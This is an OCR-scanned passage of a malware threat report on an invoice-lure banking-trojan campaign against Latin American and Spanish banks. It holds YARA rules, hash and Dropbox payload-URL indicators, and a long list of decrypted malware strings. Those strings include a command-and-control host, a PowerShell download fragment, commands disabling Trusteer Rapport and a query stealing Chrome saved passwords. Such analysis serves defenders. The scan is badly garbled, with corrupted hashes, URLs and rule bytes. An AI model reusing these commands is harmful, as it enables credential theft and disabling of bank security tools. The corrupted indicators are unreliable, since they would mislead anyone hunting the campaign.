Banload and W32/Banker) are written in Delphi. access the user's bank account while he is using it.
* The“invoice theme"” is still used in filenames and file  *  Mainly targeting Spanish-speaking users and banks, but

icons also some Brazilian entities.
. The filenames in the downloaders related to

invoices are Factur98793400583a-Electronicaexe  Some of these elements point to an attacker which is

or Factura-E1014458505532-2907 exe. not extremely advanced and more located in LatAm. The

2. The executable icon pretending to be a PDF modus operandi and tools typically match with Brazilian
document, in accordance with what is it referred actors, but also actors located in other South American
to in the email. countries have been seen with a similar behaviour.

| DETECTION

DOWNLOADER

During the investigation the following YARA was created in
order to find the different loaders used in this campaign.

rule downloader
meta:

description = “W32/Banload”
author = “labs”

strings:

$code = { 6A 00 6A 00 8B 45 ?? E8 2?7 2?2 2?22 2?2 50 ( 8B 45 ?? | Al ?? ?? ?? ?? 8B 00 )
EQ 2?7 2?2 2?2 2?2 50 6A 0
E§ 2?7 2?7 27 22 ( 85 CO OF 94 C3 | 6A ?? E8 ?2? 2?2 ?2? 72?2 ) 33 CO }

$textl “URLDownloadToFile”

$text2 “CharNext”

condition:
all of
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BANKER

This YARA was used to hunt for W32/Banker samples.

rule banker
{

meta:

description = “W32/Banker”
author = “”

strings:

$codel { (B8 2?2 2?2 2?2 ?2?|8B 45 ??) 8B 55 ?? OF B7 44

50 FE (31]33) 45 ?? (8D|89) 45 ?? (50 8B 45 ??|8B 45 ??) }

$code2 { 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 DB 8A 5C
38 FF 33 5D ?? 3B 5D ?? 7F ?? 81 C3 FF 00 00 00 }

condition:

any of

| IOCs

You can also download the IOCs by visiting the Blueliv
Threat Exchange Network post here: _http:/bit.ly/2NYx-

VcH

DOWNLOADER
Filename Factur98793400583a-Electronica.exe
SHA26 626b6276c36830f3e3241954386858024b068015ee15a33704bda’725e6b34el7/
Payload URL http://www.dropbox.com/s/265 | Oli3tayigl4/ServoEdriversa.zip?dl=|
Filename Factur98793400583a-Electronica.exe
SHA26 bf17920c3f40799f7f1 8aa556fae | 64bf3939f1a872b208e0741040e3193119b
Payload URL http://www.dropbox.com/s/265 | Oli3tayigl4/Serv9Edriversa.zip?dl=|
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Filename
SHA26
Payload URL

Filename
SHA26
Payload URL

Filename
SHA26
Payload URL

Filename
SHA26
Payload URL

Filename
SHA26
Payload URL

Filename
SHA26
Payload URL

Filename
SHA26
Payload URL
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Factura990834Elec| 1814-3007.exe
b0abf97ec58abdcf9e931f36d758257f1dbc3c273c998a7b336d4aal7c|fb81a
http://www.dropbox.com/s/fqy0987jz7a03gz/foolksOedrivs.zip?dI=|

Factura990834Elec! 1814-3007.exe
6729149 1c27al 1835fffb20dbfc9 1 7a2452bee4fd0248303f5553 1ade302365
https://www.dropbox.com/s/fqy0987jz7a03gz/foolksOedrivs.zip!dl=|

Factura98793400583a-Electronica.exe
95145c9b4bec53f6a5c76497e0007823612079c53698085ad056f4d4bda927d6
http://www.dropbox.com/s/265 | Oli3tayigl4/ServOEdriversa.zip?dl=|

Factura-E993000655539629072019.exe
e0cc3ac991d3798a99b1e44b2 | daf82deabe38634195b31c62791490cfe | 76c4
http://www.dropbox.com/s/fqy0987jz7a03gz/FoolksOEdrivs.zip!dI=|

Factura-E1014458505532-2907.exe
lccOb3ac735cb3a932al c0dc4cc5de42 1 f5ddef3b 1 5822fd24f68a5f254db 1 d7
http://www.dropbox.com/s/fqy0987jz7a03gz/FoolksOEdrivs.zip!dI=|

Factura-E1014458505532-2907 .exe
a396ef899a0487eced/77916e99e4ad439 Ibla46aeea3|2dddc/1929ee9475|
http://www.dropbox.com/s/fqy0987jz7a03gz/FoolksOEdrivs.zip!dI=|

Fact-uraE0349000687 12907 .exe
680a510477b633057e61cel512357d39383967613e63187cf0cbc8990a7e36b3
http://www.dropbox.com/s/fqy0987jz7a03gz/FoolksOEdrivs.zip!dI=|
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ZIP Filename
ZIP SHA26
ZIP URL

EXE Filename
EXE SHA256

ZIP Filename
ZIP SHA26
ZIP URL

EXE Filename
EXE SHA256

ZIP Filename
ZIP SHA26
ZIP URL

EXE Filename
EXE SHA256

ZIP Filename
ZIP SHA26
ZIP URL

EXE Filename
EXE SHA256
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ReaderOEdropins.exe

4bd5c665d8dbfbcd79cfOf1 257867e3db7dd7 | 5ecle8d3 | 1e4653d55e9 17829

FoolksOEdrivs.zip

b309e32fd84b 185b77323e866c6c8d56572 | 7fcd94c63adeabbc06f8f5e | eb08
https://www.dropbox.com/s/fqy0987jz7a03gz/foolksOedrivs.zip!dI=|

RoaldOApbox.exe

71381 CF69DIED3CA26DA89600073E893F2E2CD97276A9E79DD7 1 7CB005C39486

FoolksOEdrivs.zip

ad3c5db536d6 1 db37e4ebdOaf4ce433f589a8eflebbbbb6e79b79 | 3e | f4a9 I fl
https://www.dropbox.com/s/fqy0987jz/a03gz/foolksOedrivs.zip?dI=|

ToldsOAboxs.exe

9064909C438535B2575DD93701F6C89 1 C5C2B80OF52E4A7B007B5247D 18C989D7

Sigu9Edrivers.zip

12d69f44f9d0a492893604b476fal c4d5f0bfa675c50bdb | 3f{d92e6bda8de207
http://www.dropbox.com/s/q45gdbcq4x65hq9/Sigu9Edrivers.zip?dl=|
ThuctOAdrunnins.exe

FA41787598AB7AIEECH1627AA0CO3861939AF4EF4A9 | EB9DB629BDECBEO8D988
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ZIP Filename
ZIP SHA26
ZIP URL
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EXE SHA256

ZIP Filename
ZIP SHA26
ZIP URL
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ZIP SHA26
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EXE Filename
EXE SHA256

ZIP Filename
ZIP SHA26
ZIP URL

EXE Filename
EXE SHA256

Malware Campaign Targeting LATAM & Spanish Banks o

Intel8Sdrivel.zip

| de09fd2434cde7f86fbd0faeef03c5a4758be7dde3f90bb4af7ca87c9b49c2c
http://www.dropbox.com/s/vs84ax906q2e8l6/Intel8Sdrivel.zip?dl=|
Shuuts9Apbox.exe
04DCD50F3DEB3439A30443BE63939B05B87F000959DC9760184B3621 | AFB99OF

Serv9Edriversa.zip

/bd54edd6326c3086fc950a0ae57fb47697c158a%9a748b54ac | f058c4a0794fb
http://www.dropbox.com/s/265 | Oli3tayigl4/Serv9Edriversa.zip?dl=|
Serv9Edriversa.exe

E7CAOB9EEBB98BBY I0E0357D7F07A2B8500E6FF9965852544E8F2176737A6CE4

Intel8Sdrivel.zip

53dcé3ecc567ba409017aeded82edd07c34e 1 8d52aec9e24afl 2ad586ee4d97b
https://www.dropbox.com/s/vs84ax906q2e8l6/intei8sdrivel.zip?dl= |

Futr9Aintel.exe

4E3E459CF3B46BCCDD485FAD7ADAAAFI8B08DC8342666B4BOA | 5F 1 3C2E87FBI8

WindowOEcheks.zip

e6al399117acec3db807c688e19b209cObl lab12d4477acc00612adb61009 131
AdoulsOApbox.exe
EC68F2D667ECCDFB14FC6BD386087C95250DFB024E35E35B2148161515FD6AT3

Intel_ | Drivings.zip

848a9762e6eb69 | 3dcdb5e976b19222fdbb2baa85c94al80b9c536c48c49e3fe
http://www.dropbox.com/s/wopst4 | 67aj | joz/Intel_| Drivings.zip?dI=|

RoodsOApbox.exe

BOAIECBA76EID7DAI63DBABB7DBCODC766A49425B6B096C662 14E34BDED97588
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APPENDIX I:

DECRYPTED STRINGS

0 --> Operador

| --> Banco de Chile

2 -->TECLAS|

3 -->TRAVASITE

4 --> BRADESCOPOSICAO
5-->FIl

6 --> MARCARPC

7 --> ESCREVER|

8 --> Google Chrome

9 --> Mozilla Firefox

|0 --> REINICIAGERAL

Il --> MARCARPC

12 --> MAXIMIZANDO

|3 --> SEMPREONLINEON
14 --> SEMPREONLINEOFF
15 --> KILL

|6 --> LIBERAACESSO

|7 --> SUSPENDEACESSO

|8 --> TELEFONE

|9 --> REINICIA

20 --> SANTAJUJUFAKE

21 --> SANTAJUJUSERIE

22 --> SANTAJUJUTOKCERT
23 --> SANTAJUJUASS

24 --> SANTAJUJUTELE

25 --> BBFAKE

26 --> BBTELEFONE

27 --> BBSOMENTEASS

28 --> PEDESENHADEO6BBFISICO

29 --> PEDESENHADEGFCERTIFICADO
30 --> PEDESENHADEGFSENHA

31 --> SICREDTELA

32 --> SICRETOK

33 --> SICREASS

34 --> SICRETELE

35 --> CEFFAKE

36 --> CEFASS

37 --> ITAUFAKE

38 --> [TAUSMSEMPRESA

39 --> BBVASINCRO

CcC C CC

40 --> BBVATOKENDIGITAL

41 --> [TAUFISICODATA

42 --> [TAPOSICAO

43 --> [TAUUNICLASSS6

44 --> [TAUUNICLASSTOKEN

45 --> [TAUUNICLASSDATA

46 --> [TAUNICLASSPOSICAO

47 --> ITAUUNIPERSONALS6

48 --> [TAUUNIPERSONALTOKEN
49 --> ITAUNIPERSOPOSICAO

50 --> ITAUUNIPERSONALDATA
51 --> ITAUUNIEMPRESAS6

52 --> ITAUUNIEMPRESATOKEN
53 --> ITAUNIEMPRESAPOSICAO
54 --> ITAUUNIEMPRESADATA

55 --> BRADESCOFAKE

56 --> BRADESCOJUJUS.ELETRONICA
57 --> BRADESCOPOSICAO

58 --> BRADESCOTOKEN

59 --> Windows 8

60 --> Internet Explorer

6| --> Brasil | Pessoa Juridica

62 --> Atendimento empresarial, empresas
63 --> SANTADER

64 --> Sicredi

65 --> SICRED

66 --> Verificando solucdo de seguranca
6/ --> [bb.com.br]

68 --> AMARELO

69 --> Bradesco

70 --> DESCO

71 --> INTERNETBANKINGCAIXA
72 --> C3F

73 --> Banco Ita

74 --> Private Bank

75 --> Itau

76 --> feito para sua

77 --> 30 horas

78 --> |TA

79 -->Taskmgr.exe
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80 --> Taskmgrexe

81 --> INFORMACOESPESSOAISCEF

82 --> Banco Estado

83 --> Windows 8

84 --> BRADASMS

85 --> BRADATELE

86 --> Cddigo:

87 --> TOken:

88 --> Contrasena y token:

89 --> LastAccess

90 --> SM-S:

91 -->Tele:

92 --> Mozilla/5.0 (Windows NT 6.1; WOWé4;
rv:12.0) Gecko/20100101 Firefox/12.0

93 -->T&K:

94 --> SENHA:

95 --> Cddigo :

96 --> Senha de 08:

97 --> SENHA DO CERTIFICADO:

98 --> G&F S3nh@@:

99 --> FO#NE:

100 --> ASS:

[0 --> B&BCOD:

102 --> Cédigo :

103 --> Cédigo SMS:

104 --> ASSINATURA:

05 --> Cddigo Token :

|06 --> SERIE:

107 --> Codigo :

|08 --> ASSELETRO.:

109 --> FONE:

[10 --> SEN.HA.0.6:

Il --> Cdédigo Token :

[12 --=> DATA:

13 -->POS.ILCAQO:

[ 14 --> SEN.HA.0.6:

[15 -->T.OkEN:

[16 --> DATA:

17 --> PO.S.ILC.AQO:

[18 --> SSEN.HA.0.6:

[19 -->T.OkEN:

20 --> PO.S.L.C.A.O:

121 --=> DATA:

122 --> SEN.H.A.0.6:

123 -->T.OkEN:

124 --> PO.S..C.A.O:

25 --=> D.ATA:

[26 --> SM.S:

|27 --> TELEFON.E:

|28 --> Windows 8

29 --> www.bb.com.br

130 --=> S4.N.T=

[31 --> SAIFRIA=

|32 --> S|.CR3=

[33 --> M08-@I| =

|34 --> B452R.d2=

35 --> OS82K@90 1 =

36 --> al540.Ko=

|37 > 12121

|38 --> Shell_TrayVWnd

39 --> Start

140 --> Progman

|41 --> bancobrasil.com

|42 --> Verifica BB

43 --> Windows 7

|44 --> Windows Vista

|45 --> cmd.exe

46 --> \marcartxt

147 --> \ONOK.BAK

|48 --> \marcartxt

[49 --> BB_SENHA_S6

|50 --> MANDA_O_TELEFONE

51 -->Token Movil :

|52 --> BB_SMS

|53 --> LIBERAR_BB

|54 --> Estimado Cliente: Servicio Indisponible,
intentar nuevamente en 2 horas.

|55 --> Intentar nuevamente en 2 horas.

|56 --> Servicio Indisponible

|57 --> Senha invalida.

|58 --> Senha invalida.

|59 --> Senha do Certificado invélida.

160 --> Cédigo invdlido.

|61 --> Data invalida.

|62 --> Posicao Invalida.

| 63 --> Token invalido.

|64 --> Campo Invalido.

|65 --> Cddigo da posicao invalido.

|66 --> Codigo invalido.

|67 -->Telefone invalido.
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168 --> http://www.superdownloadbr.com/
importes/

|69 --> Token :

I'70 --> Clave de Operaciones :

|71 --> 2@3kiB=

|72 --> Sicoob

|'73 --> Banco Security

|74 --> SICOOBFAKE

|75 --> SICOOBPEDEPass6Dig

|76 --> SICOOBPEDEPass4Dig

|77 --> SICOOBMOSTRARTelaSucesso

|'78 --> Banco Santander Brasil | Pessoa Juridica

|79 --> Santander

180 --> 5@N4T=

181 --> SANTANDERFAKE

182 --> SANTAJUJUTOKCERT

83 --> SANTAJUJUASS

|84 --> SERIE:

|85 --> Assinatura eletrdnica invalida.

|86 --> Numero de Serie invalido.

|87 --> Codigo invalido.

188 --> SANTAJUJUTELE

189 --> 3 N°Via Cartio:

90 --> Senha de 07 DIG:

|91 --> Senha alfabetica 03 Letras:

|92 --> Senha exclusiva canal:

|93 --> Token Pessoa Juridica:

194 --> HSBC

95 --> HSBC

196 --> HS.B.C=

197 --> HSBCFAKE

198 --> HSBCPEDEToken]uri

99 --> HSBCPEDEMeuTelefone

200 --> HSBCPEDESenhaAlfabetica

201 --> HSBCPEDEPass/Dig

202 --> HSBCPEDECC3dig

203 --> HSBCMOSTRARTelaSucesso

204 --> Codigo Eletronico:

205 --> Cddigo Eletrdnico Invdlido.

206 --> Banco Inter

207 --> sSI10.Lr=

208 --> SICREDFAKE

209 --> SICRETOK

210 --> SICREASS

211 --> SICRETELE

212 --> Explorer

213 --> Software\Microsoft\Windows\DWM
214 --> SuppressDisableCompositionU!
215 --> DWMAPLdII

216 --> DwmEnableComposition
217 --> /B/Imageé.gif

218 --> /B/lmage3.jpg

219 --> /B/lmage2.jpg

220 --> /B/Image7.gif

221 --> /B/lmagel | jpg

222 --> /ABM/Image | 2.jpg

223 --> /B/lmage|5.jpg

224 --> /B/lmage | 8.jpg

225 --> SANTAJUJUUNICOTOKEN
226 --> SANTAJUJUUNICOSERIE
227 --> ntdll

228 --> LdrLoadDll

229 --> \Software\

230 --> MARCAR

231 --> 1D

232 --> \Aplicativo Itau\itauaplicativo.exe
233 -->TRAY

234 --> MINI

235 --> MAX

236 --> FUCK

237 --> TELEFONE

238 --> SICOOBPEDEFONE

239 --> SANTAJUJUSMS

240 --> SANTAJUJUSMSTOKENSIMULACAO
241 --> Simulacao TOK SMS:

242 --> Banco Santander

243 --> SANTAJUJUPOSICAO

244 --> GBPLUGIN

245 --> GBBD

246 --> BAIDU

247 > AVG

248 --> AVAST

249 --> AV

250 -->

25| --> ESET

252 --> ptbr

253 --> www.bb.com.br

254 --> FINALIZARGB

255 --> gbieh.dll

256 --> gbpinj.dll
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257 --> gbiehunidll

258 --> rooksbas.dll

259 --> DELETAKL

260 --> ATIVAKEY

26| --> PEDIRTECLAS

262 --> gbpsv.exe

263 --> gbpsv.exe

264 --> DESCO

265 --> PLUG

266 --> \SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\Shell Folders\

267 --> Shell_TrayWnd

268 --> FOTONAVEGADOR

269 --> FOTOCOMPLETA

270 --> HSBCPEDE TokenCELULAR

271 --> Senha Da Sua Conta:

272 -->Token Via telefone Celular:

273 --> SenhaDaSuaConta

274 -->Token fisico:

275 --> PEDETokenFisico

276 --> BBVACLAVEDEOP

277 --> SSSchedulerexe

278 --> McUICnt.exe

279 --> instup.exe

280 --> AvastEmUpdate.exe

281 --> MSASCui.exe

282 --> core.exe

283 --> gbpsv.exe

284 --> BavSvc.exe

285 --> BavTrayexe

286 --> avastui.exe

287 --> AvastSvc.exe

288 --> \Aplicativo Itau

289 --> \ptbrexe

290 --> DADOSINVALISOBB

291 --> Dados incorretos, restam agora

292 --> tentavivas.

293 --> CEFDADOSERRADOS

294 --> /AM/Image20.jpg

295 --> /C/Image2.gif

296 --> /C/lmage3.jpg

297 --> [Cl/lmageé.jpg

298 --> /C/Image8.gif

299 --> [TAERRO

300 --> Internet Banrisul

301 --> Banrisul
302 --> Banrisul=
303 --> ESTABILIZADO
304 --> AVGHOOKX.DLL
305 --> TRAVATELACOMAPPITAU
306 -->WinLogl
307 --> Itau
308 --> LOGTECLAS]
309 --> Serasa Experian - Consulta
310 --> Serasa
311 --> Serasa=
312 --> SICRERESTAM2TENTATIVAS
313 --> RESTAM2TENTATIVAS
314 --> restam?2tentativassantander
315 --> BRADARESTAMBRADA2TENTATIVINHAS
316 -->TCL_ON
317 -->TCL_LOG
318 -->TCL_OFF
319 --> Aplicativo Itau
320 --> APLICATIVO ITAU
321 -->Windows 10
322 --> BB
323 --> Auvisar Programador CODIGO (XN89 BB)
324 --> CEF
325 --> Avisar Programador CODIGO (XN89 CEF)
326 --> BRADESCO
327 --> Avisar Programador CODIGO (XN89
BRADESCO)
328 --> [TAU
329 --> Auvisar Programador CODIGO (XN89 ITAU)
330 --> SANTANDER
331 --> Avisar Programador CODIGO (XN89
SANTANDER)
332 --> SICOOB
333 --> Auvisar Programador CODIGO (XN89 SICOOB)
334 --> SICRED
335 --> Avisar Programador CODIGO (XN89 SICRED)
336 --> [TAU
337 --> BRADESCO
338 --> CEF
339 --> SANTANDER
340 --> SICOOB
341 --> SICRED
342 --> BB
343 --> CODIGO X9-GB ( AVISE
O PROGRAMADOR )
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344 --> ITAUAPPFAKE

345 --> XAPPXPOSIXCAO

346 --> XAPPXTELEFONEX

347 --> XAPPXSMSX

348 --> XAPPXTOKENX

349 --> XAPPXDATAXDEXNASCIMENTOX

350 --> XAPPXSENHAXTITULARX

351 --> Numero de telefone invélido.

352 --> SMS:

353 --> POSICAO:

354 --> Telefone:

355 --> TOKEN:

356 --> APPPOSICAO |

357 --=> TROCARFOTOHWN

358 --> itauaplicativo.exe

359 --> HANDLES

360 --> TROCARFOTOHWN

361 --> winstaO\default_set

362 --> RMESCREVERRM

363 --> ENVIARDADODEERROS

364 --> Nenhum LOG de erro encontrado
nesta maquina!

365 --> COLARNORMAL

366 --> TRESDIGITOSCARDS

367 --> XAPPXTRESXDIGITOSXAPPXCARDSX

368 --> COLARJAVA
369 --> BUTTONCLASS
370 --> 187.72.5.241

371 --> /B/Image2.jpg
372 --> [B/Image/ .gif
373 --> /B/Imagel | .jpg
374 --> /B/Imagel 2.jpg
375 --> /B/Imagel 5.jpg
376 --> /B/Image| 8.jpg
377 --> /B/Image20.jpg
378 --> JPEG

379 --> GIF

380 --> gbpinj.dll

381 --> gbieh.dll

382 --> LdrLoadDll

383 --> ESCRE_VER|
384 --> /B/ImageCOD3.jpg
385 --> BB CODE:

386 --> BB_CODE

387 --> POSTKEY]|

388 --> COLAR_NORMAL

389 --> C:\Program Files\Windows N T\Accessories\
wordpad.exe

390 --> WordPadClass

391 --> BLOCO_NOTAS

392 --> 170.66.2.59

393 --> 170.66.52.28

394 --> http://negymusketas.hu/rocky/modules/
web20 1 5/MARRON/notify.php

395 --> Bav.exe

396 --> chrome.exe

397 --> firefox.exe

398 --> iexplore.exe

399 -->200.201.170.59

400 --> 200.196.152.202

401 --> setacima

402 --> setabaixa

403 --> 23.218.118.66

404 --> 23.3.13.217

405 --> 23.3.13.209

406 --> 200.155.86.74

407 --> 200.196.152.214

408 --> 201.77.87.14

409 --> HWND_NV_TOCO

410 --> Navegador Exclusivo 3.0.3

411 --> AplicativoBradesco.exe

412 --> CLICASEMOVER |

413 --> WWW.CAIXA.COM.BR

414 --> WWW.BRADESCO.COM.BR

415 --> WWW.ITAU.COM.BR

416 --> WWW.SANTANDER.COM.BR

417 --> WWW.SICOOB.COM.BR

418 --> WWW.SICREDI.COM.BR

419 --> C3F

420 --> 23.203.165.167

421 --> ST

422 -->201.77.87.14

423 --> SICR3

424 --> 200.196.152.202

425 --> ITA

426 --> 200.155.82.1 16

427 --> 200.155.82.1 16

428 --> 23.66.230.41

429 --> 23.66.230.26

430 --> BRAD|

431 --> 30 horas

432 --> Banco Itau - Feito Para Vocé
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433 --> Banco Bradesco

434 --> Net Empresa | Bradesco
435 --> internetbankingcaixa
436 --> Santander

437 --> Sicredi -

438 --> SICOOb

439 --> 187.72.5.241

440 --> CEFALFAASS

441 --> Patch

442 --> Key

443 --> pst

444 --> CAMINHOCOMPLETO
445 --> ALTOFINALIZATNT
446 --> RD

447 --> 3DIGITOSCARDITACOMXXXX
448 --> Final

449 --> OPENCHROME |

450 --> OPENIE |

451 --> OPENFIREFOX |

452 --> ONSEMPREONLINE
453 --> OFFSEMPREONLINE
454 --> MANUTENCAOON
455 --> http://rlagusequipamentos.com.br/
updateservice.txt

456 --> sc delete PimpallGametools
457 --> /install /silent

458 --> LOGTECLAS

459 --> sicoob

460 --> |Explore

461 --> EXIBIRMZ

462 --> OCULTARMZ

463 --> BNSTS=

464 --> BanestesFAKE

465 --> avghookx.dll

466 --> KILLKL

467 --> Banco do Brasil

468 --> https://www?2.bancobrasil
469 --> TECLASON

470 --> TECLASOFF

471 --> CITYBANK

472 --> CITYBANCO

473 --> BRADA-CODE:

474 --> BRADESCOCODIGO
475 --> XABREXAPPXPORRAX
476 --> BUTTONCLASS

477 --> MAGICBUTTON

478 --> CefBrowserWindow

479 --> Chrome_WidgetWin_0
480 --> CLICKNOMAXIMIZAAPP
481 --> BANESTESCD

482 --> Codigo de acesso:

483 --> | ZNDvtLXaV3xsNSSwR2Fth6 ANL2RwwYyn
484 --> 09CITY

485 --> 08BANES

486 --> 07SICOO

487 --> 06SC

488 --> 05ST

489 --> 04BRA

490 --> 03l

491 --> 02C

492 --=> 01IB

493 --> TRAVAWINDOWS

494 --> 09app

495 --> XAPPXSUICIDIOX

496 --> Falecido

497 --> \Kunleebox.exe

498 --> Amazbnia

499 --> Banco da Amazonia

500 --> SICOOBPEDEPOSICAO
501 --> SICOOBPEDEPOSICAQO |
502 --> BBVACODIGOCELULAR
503 --> APPLICATIVOITOKENNOTELEFONE
504 --> LISTARTODASJANELAS
505 --> NOVOHANDLEGLOBAL
506 --> RESET

507 --> Clave de Operaciones :
508 --> SICOOBCOD

509 --> ATIVADOMODOONLINE
510 --> Banese

501 -->B2@N3Z=

512 -->TravaBanese

513 --> Clave dinamica :

514 --> CiITYCODIGOELETRONICO
515 --> sicredi -

516 --> N° do cartdo matriz:

517 --> Cordenada:

518 --> POSICAO:

519 --=> MONTEPIO

520 --> MONTEPIOFAKE

521 --=> MONTEPIONUMERO
522 --> MONTEPIOPOSICAO
523 --> MONTEPIOPOSICAQO |
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524 --> Montepio

525 --> Montepio=

526 --> Google Chrome

527 --> chrome.exe

528 --> www.sicredi.com.br

529 --> www.montepio.pt

530 --> www.bb.com.br

531 --> www.banese.com.br

532 --> www.bb.com.br

533 --> www.banestes.com.br

534 --> www.citibank.com.br

535 --> www.itau.com.br

536 --> www.bradesco.com.br

537 --> https://internetbanking.caixa.gov.br/SIBC/
index.processa

538 --> www.santander.com.br

539 --> google chrome

540 --> MEMANDAAFOTOCEF

54| --> bradesco

5472 --> Foto Cef enviado com sucesso!

543 --> EXECUTA

544 --> \Software\Microsoft\Windows NT\
CurrentVersion\AppCompatFlags\Layers

545 --> C:\Program Files (x86)\Google\Chrome\
Application\chrome.exe

546 --> WIN7RTM

547 --> Senha de 04:

548 --> BRADAS4

549 --> GBBD

550 --> \Software

551 --> BAIXANADOLOADER

552 --> Unable

553 --> \Google\Chrome\User Data\Local State

554 -->"enabled”: true

555 --> “hardware_acceleration_mode_previous': true

556 --> "hardware_acceleration_mode_previous'’ false

557 --> {"hardware_acceleration_mode": { “‘enabled": false},

558 --> "enabled”: false

559 --> Numero Série:

560 --> Mobiletk

56| --> http://rebrand.ly/8245

562 --> \Aplicativo Itau

563 --> CertificateDriver.DLL

564 --> CPF & S4:

565 --> CPFS4

566 --> LogonUl.exe

567 --> Aplicativo Bradesco

568 --> RPK

569 --> BAIXANADOLOADER

570 --> TROCAMETDOPRINTNOVA

571 --> IBM.exe

572 --> SENHABANESE

573 --> HkLibdll

574 --> asw_av_popup_wndclass

575 --> office.exe

576 --> Sicoob

577 --> KSPfinderx.exe

578 --> HookKeyboard

579 --> UnhookKeyboard

580 --> \Resultado-Coleta:txt

581 -->Trend Micro HijackThis

582 --> verificabb.exe

583 --> sicredi

584 --> Sicredi

585 --> Bradesco TokenCelular

586 --> Usuario :

587 --> Seg.BB

588 --> HkLib

589 --> DLLFILE

590 --> .exe 59| --> Keylogger iniciado com sucesso!

592 --> ATUALIZAKL

593 --> UPDATEKL.EXE

594 --> Arquivo baixado e executado com sucesso!

595 --> HkLib

596 --> espirito88849to.hopto.org

597 --> 8890

598 --> sqlite3.dll

599 --> sqlite3

600 --> \Google\Chrome\User Data\Defautt\Login Data

601 --> SELECT * FROM logins

602 --> password_value

603 --> origin_url

604 --> username_value

605 --> Codigo de 08 Digitos:

606 --> BRADASINCRONIZACAO

607 --> sqlite3.dll

608 -->YES

609 --> powershell -Command “(New-Object Net.
WebClient).DownloadFile(*

610 -->4"

611 -->1"

612 --> SICOOBCOD.BMP
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613 --> BBCODE.BMP

614 --> BRADACODE.BMP

615 --> \Trusteer\Rapport\bin\**" /E /C /P SYSTEM:N
Todos:N

616 --> \Trusteer\Rapport\bin\x64\**"" /£ /C /P
SYSTEM:N Todos:N

617 --> Captura de teclado ON'!

618 --> UpdateDlIFoto

619 --> Exporttoolz.00 |

620 --> Pedido_HS_TK

621 --> logB8585.bat

622 --> Colosos.exe

623 --> |IBM.exe

624 --> IBM instalado com sucesso, pode mandar reiniciar

625 --> Arquivo das fotos Atualizado com sucesso!

626 --> travadotxt

627/ --> runas

628 --> cmd.exe

629 --> ORIGINAL

630 --> ORIGTK

63| --> Banco Original

632 --> ORIGINAL=

633 --> RESTAURARBURRACO

634 --> ODIN.bat

635 --> del ODIN.bat

636 --> Exporttoolz.00 |

637 --> TeamViewerexe

638 -->Tab

639 --> [Tab]

640 --> Space

641 --> [Space]

642 --> CAPS LOCK

643 --> [CAPS LOCK]

644 --> [CLICK]

645 --> Avast

646 --> Citibank

647/ --> Banestes

648 --> Banco de Brasilia

649 --> BRB

650 --> Spark.exe

651 --> citrio.exe

652 --> Serasa Experian

653 --> S3R2.Sa=

654 --> Banco de Brasilia=

655 --> Senha eletronica:

656 --> iteletrica

657 --> Numero do cc:

658 --> ccevalidade

659 --> 3 digitos seguranca cartao CVV:
660 --> 3cwv

661 --> B@QKRDT=

662 --> ParaVocé - Banco do Nordeste
663 --> Posicao:

664 --> DADOSERRADOBAJIO

665 --> Clave ASB:

666 --> nrdverzaozica

667 --> TRAVANORDESTE

668 --> Adverténcia de Seguranca

669 --> Informacgdes de Seguranca

670 --> Banco Daycoval

671 --> D05yk0=

672 --> Confirmacao

673 --> Escolhido:

674 --> CONFIRMACAODADOSBANESE
675 --> SIM

676 --> Zip

677 --> NAO

6/8 --> C:\Program Files (x86)\Trusteer
679 --> C:\Program Files (x86)\trfun
680 --> C:\Program Files\Trusteer

681 --> INICIARTECNICABURRACO
682 --> Atencdo:

683 --> Existem um ou mais campos invalidos!
684 --> invdlido

685 --> Assinatura Eletrénica invalido
686 --> NUmero de identificacdo do cartio invdlido
687 --> NUmero de identificacdo do cartio:
688 --> Assinatura Eletrénica:

689 --> POSO|

690 --> POS02

691 --> POS03

692 --> POS04

693 --> POS05

694 --> POS06

695 --> POS07

696 --> POS08

697 --> POS09

698 --> POSI0

699 --> POSI |

700 --> POSI12

701 --> POSI3

702 --> POS 14
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703 --> POSI5 748 -->Trusteer\Rapport\store\exts\RapportCerberus\
704 --> POSI16 baseline\RapportGH.dIl" /T /E /C /P Everyone:N
705 --> POS|7 749 --> cacls“

706 --> POSI18 750 --> ParaVocé - Banco do Nordeste -

/707 --> POSI19 /51 --> Sicredi | Gente que coopera cresce

708 --> POS20 752 --> https://ibpf.sicredi.com.br

709 --> POS2| /53 --> SicrediVanguarda PR/SP/R] | Gente que coopera cresce -
710 --> POS22 /54 --> Conta-corrente | ParaVocé | Sicredi -

711 -->POS23 /55 --> Sicoob - Sistema de Cooperativas de Crédito do Brasil -
712 --> POS24 756 --> s|ICO0b

713 --> POS25 /57 --> http://www.sicoob.com.br

714 --> POS26 758 --> Sicoob -

715 --> POS27 759 --> A sua atividade no Mercado Pago

716 --> POS28 760 --> Mercado Pago

717 -->POS29 761 --> M3RKP3G=

718 --> POS30 /62 --> Blockchain Wallet - Exchange Cryptocurrency
719 --> POS3| 763 --> Blockchain Bitcoin

720 --> POS32 764 --> BL5KC=

721 --> POS33 765 --> Unicred Portal

722 --> POS34 766 --> Banco Unicred

723 --> POS35 767 --> UN4 1=

724 --> POS36 768 --> Creditran

725 --> POS37 769 --> Banco Creditran

726 --> POS38 770 --> C34Rd=

727 --> POS39 /71 --> creditran -

728 --> POS40 /72 --> Credinet - O Internet banking da Creditran
729 --> POS4| 773 --> Daypag, Despachantes - Banco Daycoval
730 --> POS42 /74 --> Daycoval Despachante

731 --> POS43 775 --> D32PG=

732 --> POS44 /76 --> Intranet - DETRAN

733 --> POS45 777 --> SISTEMA DETRANPR

734 --> POS46 778 --> D99Rt=

735 --> POS47 779 --> Money Transfer | Global Money Transfer | VWestern
736 --> POS48 Union

737 --> POS49 780 -->Western Union

738 --> POS50 781 -->W35Tr=

739 --> STTABELINHA 782 --> western union -

740 --> C:\Program Files (x86)\GbPlugin /83 --> Banco Regional - Creemos en vos

741 --> C:\Program Files\GbPlugin /84 --> Banco Regional PY

742 --> http://rebrand.ly/c96 | 785 --> R90GP=

743 --> C:\Program Files\Scpad 786 --> Banco Familiar

744 --> C:\Program Files (x86)\Scpad /87 --> Banco Familiar PY

745 --> \Aplicativo Itau /88 --> F4AMP=

746 -->Trusteer /89 --> Banco Agibank

747 -->Trusteer\Rapport\store\exts\RapportCerberus\ 790 --> Aglb
baseline\RapportGH.dIl" /T /E /C /P TodosN
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/91 --> Banco Digital com Servicos Gratuitos: Abra
sua Conta | Agibank -

/92 --> Banco Digital com Servicos Gratuitos: Abra
sua Conta | Agibank -

793 --> Agibank -

